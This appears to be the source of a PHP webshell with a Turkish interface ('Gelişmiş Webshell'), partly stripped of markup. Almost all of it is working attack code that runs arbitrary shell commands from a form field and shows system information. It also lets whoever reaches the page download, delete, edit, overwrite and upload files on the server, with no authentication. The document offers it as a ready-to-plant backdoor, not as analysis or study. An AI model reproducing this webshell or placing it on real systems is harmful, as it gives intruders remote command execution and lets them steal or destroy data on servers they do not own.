<!DOCTYPE html>
<html lang="tr">

<meta charset="UTF-8">
Gelişmiş Webshell <title>Gelişmiş Webshell</title>
<style>
body {
background-color: black;
color: green;
font-family: monospace;
display: flex;
flex-direction: column;
align-items: center;
}
.content {
width: 80%;
max-width: 1000px;
}
input[type="text"], input[type="submit"], select, textarea {
background-color: black;
color: green;
border: 1px solid green;
padding: 5px;
margin: 5px;
width: 100%;
}
form {
margin-bottom: 10px;
}
.output, .file-content {
border: 1px solid green;
padding: 10px;
white-space: pre-wrap;
color: white;
width: 100%;
box-sizing: border-box;
}
table {
width: 100%;
border-collapse: collapse;
}
th, td {
border: 1px solid green;
padding: 5px;
text-align: left;
}
th {
background-color: darkgreen;
}
.command-section, .files-section, .file-edit-section {
margin-top: 20px;
}
</style>


<div class="content">

Gelişmiş Webshell


<div class="system-info">

// Sistem bilgilerini göster
if (strtolower(substr(PHP_OS, 0, 3)) == "win") {
echo '<pre>' . htmlspecialchars(shell_exec('systeminfo'), ENT_QUOTES, 'UTF-8') . '</pre>';
} else {
echo '<pre>' . htmlspecialchars(shell_exec('uname -a'), ENT_QUOTES, 'UTF-8') . '</pre>';
}

</div>

<div class="command-section">

Komut Çalıştır



Komut Girin: <input name="command" value="" size="50" type="text">
<input name="execute" value="Çalıştır" type="submit">

</div>

<div class="files-section">

Dosyalar



$currentDir = getcwd();
$files = scandir($currentDir);



<th>Dosya Adı</th>
<th>İşlemler</th>

foreach ($files as $file):




endforeach;
echo htmlspecialchars($file, ENT_QUOTES, 'UTF-8');
<a href="?download= echo urlencode($file); ">İndir</a> |
<a href="?delete= echo urlencode($file); " onclick="return confirm('Dosyayı silmek istediğinize emin misiniz?');">Sil</a> |
<a href="?edit= echo urlencode($file); ">Düzenle</a>

</div>


// Terminal komutunu çalıştır
if (isset($_POST['command'])) {
$command = $_POST['command'];
$output = '';
if (strtolower(substr(PHP_OS, 0, 3)) == "win") {
$output = shell_exec($command);
} else {
$output = shell_exec($command . " 2>&1");
}
echo '<div class="output"><pre>' . htmlspecialchars($output, ENT_QUOTES, 'UTF-8') . '</pre></div>';
}

// Dosya indirme
if (isset($_GET['download'])) {
$file = urldecode($_GET['download']);
$filePath = $currentDir . DIRECTORY_SEPARATOR . $file;
if (file_exists($filePath)) {
header('Content-Description: File Transfer');
header('Content-Type: application/octet-stream');
header('Content-Disposition: attachment; filename="' . basename($filePath) . '"');
header('Expires: 0');
header('Cache-Control: must-revalidate');
header('Pragma: public');
header('Content-Length: ' . filesize($filePath));
flush();
readfile($filePath);
exit;
}
}

// Dosya silme
if (isset($_GET['delete'])) {
$file = urldecode($_GET['delete']);
$filePath = $currentDir . DIRECTORY_SEPARATOR . $file;
if (file_exists($filePath)) {
unlink($filePath);
echo "<p>Dosya silindi: " . htmlspecialchars($file, ENT_QUOTES, 'UTF-8') . "</p>";
} else {
echo "<p>Dosya bulunamadı: " . htmlspecialchars($file, ENT_QUOTES, 'UTF-8') . "</p>";
}
}

// Dosya düzenleme
if (isset($_GET['edit'])) {
$file = urldecode($_GET['edit']);
$filePath = $currentDir . DIRECTORY_SEPARATOR . $file;
if (file_exists($filePath) && is_writable($filePath)) {
$fileContent = file_get_contents($filePath);
echo '<div class="file-edit-section">';
echo '

Dosya Düzenle: ' . htmlspecialchars($file, ENT_QUOTES, 'UTF-8') . '

';
echo '
';
echo '<textarea name="file_content" rows="20">' . htmlspecialchars($fileContent, ENT_QUOTES, 'UTF-8') . '</textarea>';
echo '';
echo '';
echo '
';
echo '</div>';
} else {
echo "<p>Dosya bulunamadı veya yazılabilir değil: " . htmlspecialchars($file, ENT_QUOTES, 'UTF-8') . "</p>";
}
}

// Dosya kaydetme
if (isset($_POST['save_file'])) {
$filePath = $_POST['file_path'];
$fileContent = $_POST['file_content'];
file_put_contents($filePath, $fileContent);
echo "<p>Dosya kaydedildi: " . htmlspecialchars(basename($filePath), ENT_QUOTES, 'UTF-8') . "</p>";
}

// Dosya yükleme
if (isset($_FILES['file_to_upload'])) {
$uploadFile = $currentDir . DIRECTORY_SEPARATOR . basename($_FILES['file_to_upload']['name']);
if (move_uploaded_file($_FILES['file_to_upload']['tmp_name'], $uploadFile)) {
echo "<p>Dosya başarıyla yüklendi: " . htmlspecialchars($uploadFile, ENT_QUOTES, 'UTF-8') . "</p>";
} else {
echo "<p>Dosya yükleme başarısız.</p>";
}
}

</div>